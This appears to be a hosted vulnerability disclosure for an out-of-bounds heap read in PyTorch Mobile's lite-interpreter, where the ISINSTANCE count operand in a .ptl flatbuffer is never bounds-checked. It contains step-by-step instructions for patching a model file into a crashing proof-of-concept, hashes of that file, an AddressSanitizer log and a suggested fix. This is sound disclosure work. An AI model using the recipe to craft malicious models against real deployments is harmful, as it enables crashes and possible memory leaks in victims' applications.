You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

PyTorch Mobile .ptl flatbuffer β€” OOB read of the Code type table (code.types_) via unchecked ISINSTANCE n operand

Target: PyTorch (pytorch/pytorch) β€” torch::jit::mobile lite-interpreter / flatbuffer loader Affected file: torch/csrc/jit/mobile/interpreter.cpp (InterpreterState::run, ISINSTANCE case) Verified crashing on: PyTorch 2.12.1+cpu (pip release), Linux x86-64, libtorch built with AddressSanitizer Still unfixed in: 2.14.0a0 source (same code path, see snippet below) Class: Out-of-bounds (heap) read β†’ SIGSEGV (memory-safety / DoS). Attacker-controlled model file. Attack surface: loading + first inference of an untrusted .ptl (flatbuffer, identifier PTMF) model.


Summary

The mobile interpreter's ISINSTANCE opcode handler constructs an at::ArrayRef over the Code object's type table using the instruction's start index X and count N:

// torch/csrc/jit/mobile/interpreter.cpp  (InterpreterState::run)
case ISINSTANCE: {
  at::ArrayRef<TypePtr> types(&code.types_.at(inst.X), inst.N);
  isinstance(stack, types);
  frame.step();
} break;

code.types_.at(inst.X) bounds-checks only the start index X. The count operand N β€” the flatbuffer Instruction struct's n : ushort field, fully attacker-controlled, up to 65535 β€” is never validated against code.types_.size(). The isinstance() helper then walks N TypePtr entries starting at &code.types_[X], running past the end of the std::vector, and dereferences the out-of-bounds garbage pointers:

// torch/csrc/jit/mobile/interpreter.cpp
static void isinstance(Stack& stack, at::ArrayRef<at::TypePtr> types) {
  at::TypePtr ty = pop(stack).type<c10::DynamicType>();
  for (const at::TypePtr& candidate : types) {   // iterates N entries, N unchecked
    if (ty->isSubtypeOf(*candidate)) {           // *candidate = OOB garbage TypePtr
      push(stack, true);
      return;
    }
  }
  push(stack, false);
}

Because Instruction is a fixed-layout flatbuffer struct, the value is not length-prefixed or offset-validated, so flatbuffers::VerifyModuleBuffer accepts the tampered module. The crash occurs at the first inference call.

Why the loop does not short-circuit

If the runtime value being tested is a subtype of the first candidate type, isinstance() returns early and the OOB entries are never touched. The PoC arranges the opposite: the model's forward tests a Tensor value against str (types_[0] = str). A Tensor is never a subtype of str, so the loop cannot short-circuit and is forced to walk all N candidates into out-of-bounds memory.

Root cause

Missing bounds check on the count operand. Contrast with the start index, which is checked (.at(inst.X)). A correct fix must additionally require inst.X + inst.N <= code.types_.size() before building the ArrayRef.


Reproduction

All artifacts are in poc/.

  1. Build a benign flatbuffer .ptl containing an ISINSTANCE instruction (build_isinst2.py): a scripted module whose forward does y: Any = x; if isinstance(y, str): 1 else 0, saved via _save_for_lite_interpreter(path, _use_flatbuffer=True). This yields a valid PTMF flatbuffer with an ISINSTANCE instruction (op byte 0x1D, n=1, x=0; x=0 β†’ types_[0] = str).

  2. Patch the count operand. In the raw file, locate the ISINSTANCE struct and overwrite its n field (ushort at struct offset +2) from 1 to 0xFFFF (65535). x stays 0 (a valid in-range start index). Result: isinst2_evil.ptl. The unmodified file is kept as the negative control isinst2_fb.ptl.

  3. Load and run (load_evil.py):

    m = torch._C._load_for_lite_interpreter("isinst2_evil.ptl", None)  # verifier PASSES, loads OK
    m.forward((torch.ones(2, 2),))                                      # ISINSTANCE -> OOB read -> SIGSEGV
    

    ISINSTANCE reads 65535 TypePtrs starting at &code.types_[0], running ~512 KB past the 1-element type vector, and dereferences garbage β†’ SIGSEGV.

File list (poc/)

file sha256 role
build_isinst2.py cf2634c325e9067362fc36873377da40266d7da5367bed252209cea712d87e4e builds benign flatbuffer + locates the ISINSTANCE struct
isinst2_fb.ptl 3e54cf96da1da36c3dd36957b930fbfd86e1ab93af48c98faf6338e47f507388 negative control (n=1), 1152 bytes
isinst2_evil.ptl 8c357a09f5c030379695617dae5f08c163cd04a4f68e9add8e91830db722e82a weaponized (n=0xFFFF), 1152 bytes
load_evil.py dcea335e5fd11d0d80b9a71491bc8cb5684a6217e44e451251b32fba87183011 loader / trigger

Captured evidence (verbatim, AddressSanitizer)

Evil file (isinst2_evil.ptl, n=0xFFFF):

--- evil file load: "LOADED OK (verifier passed)" i.e. VerifyModuleBuffer accepts it; crash is at execution ---

==1293677==ERROR: AddressSanitizer: SEGV on unknown address 0x00100000020a (pc 0x7b8d11cd0d80 bp 0x001000000202 sp 0x7fff0effd510 T0)
==1293677==The signal is caused by a READ memory access.
    #0 0x7b8d11cd0d80 in c10::DynamicType::create(c10::Type const&) (libtorch_cpu.so+0x1cd0d80)
    #1 0x7b8d11cd0f54 in c10::DynamicType::isSubtypeOfExt(c10::Type const&, std::ostream*) const (libtorch_cpu.so+0x1cd0f54)
    #2 0x7b8d16082d16 in torch::jit::mobile::InterpreterState::run(std::vector<c10::IValue, std::allocator<c10::IValue> >&) (libtorch_cpu.so+0x6082d16)
    #3 0x7b8d16073c5a in torch::jit::mobile::Function::run(...) (libtorch_cpu.so+0x6073c5a)
    #4 0x7b8d160871ad in torch::jit::mobile::Method::run(...) const (libtorch_cpu.so+0x60871ad)

Register values: ... r12 = 0x000000000000ffff  (== patched N=65535) ...

SUMMARY: AddressSanitizer: SEGV (libtorch_cpu.so+0x1cd0d80) in c10::DynamicType::create(c10::Type const&)
==1293677==ABORTING

The r12 = 0x000000000000ffff register confirms the attacker-controlled patched count N=65535 is the loop bound; the fault PC is inside the isSubtypeOf dereference driven by the OOB candidate pointer, called from InterpreterState::run (frame #2), exactly the ISINSTANCE path.

Negative control (isinst2_fb.ptl, unpatched, n=1), identical ASAN environment:

loaded ok ... forward ok: 0     (clean exit, no ASAN report)

The only difference between the two files is the 2-byte n operand, isolating the count-operand bounds check as the root cause.


Source confirmation on latest (2.14.0a0)

The identical unchecked pattern is present in the current source tree (version.txt = 2.14.0a0):

torch/csrc/jit/mobile/interpreter.cpp:347
  case ISINSTANCE: {
    at::ArrayRef<TypePtr> types(&code.types_.at(inst.X), inst.N);
    isinstance(stack, types);
    frame.step();
  } break;

No validation of inst.N against code.types_.size() exists on either 2.12.1 or 2.14.0a0.


Impact

An attacker who can get a victim to load an untrusted .ptl (mobile flatbuffer) model β€” a common distribution format for on-device / lite-interpreter deployments β€” achieves a deterministic out-of-bounds heap read and process crash at first inference. The read walks up to ~512 KB of adjacent heap through attacker-chosen pointer dereferences (isSubtypeOf), which is a memory-safety violation (potential info-leak primitive / DoS) rather than a mere assertion. The flatbuffer module verifier does not catch it because the operand lives in a fixed-layout struct.

Suggested fix

Bounds-check the count operand alongside the start index before constructing the ArrayRef, e.g.:

TORCH_CHECK(
    inst.X >= 0 && inst.N >= 0 &&
    static_cast<size_t>(inst.X) + static_cast<size_t>(inst.N) <= code.types_.size(),
    "ISINSTANCE type range out of bounds");
at::ArrayRef<TypePtr> types(&code.types_.at(inst.X), inst.N);

Dedup / prior-art note

  • This is a distinct operand from previously reported mobile-interpreter OOB issues. It is the ISINSTANCE instruction's n (type-count) operand indexing code.types_, not the OP/CALL/vararg operand families and not a constants/operators table index.
  • No CVE currently describes an out-of-bounds read of code.types_ via the ISINSTANCE count operand in the mobile flatbuffer interpreter. The public flatbuffer verifier (VerifyModuleBuffer) validates table/vector offsets but not the semantic in-range-ness of fixed-struct instruction operands, so this is not covered by existing verifier hardening.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support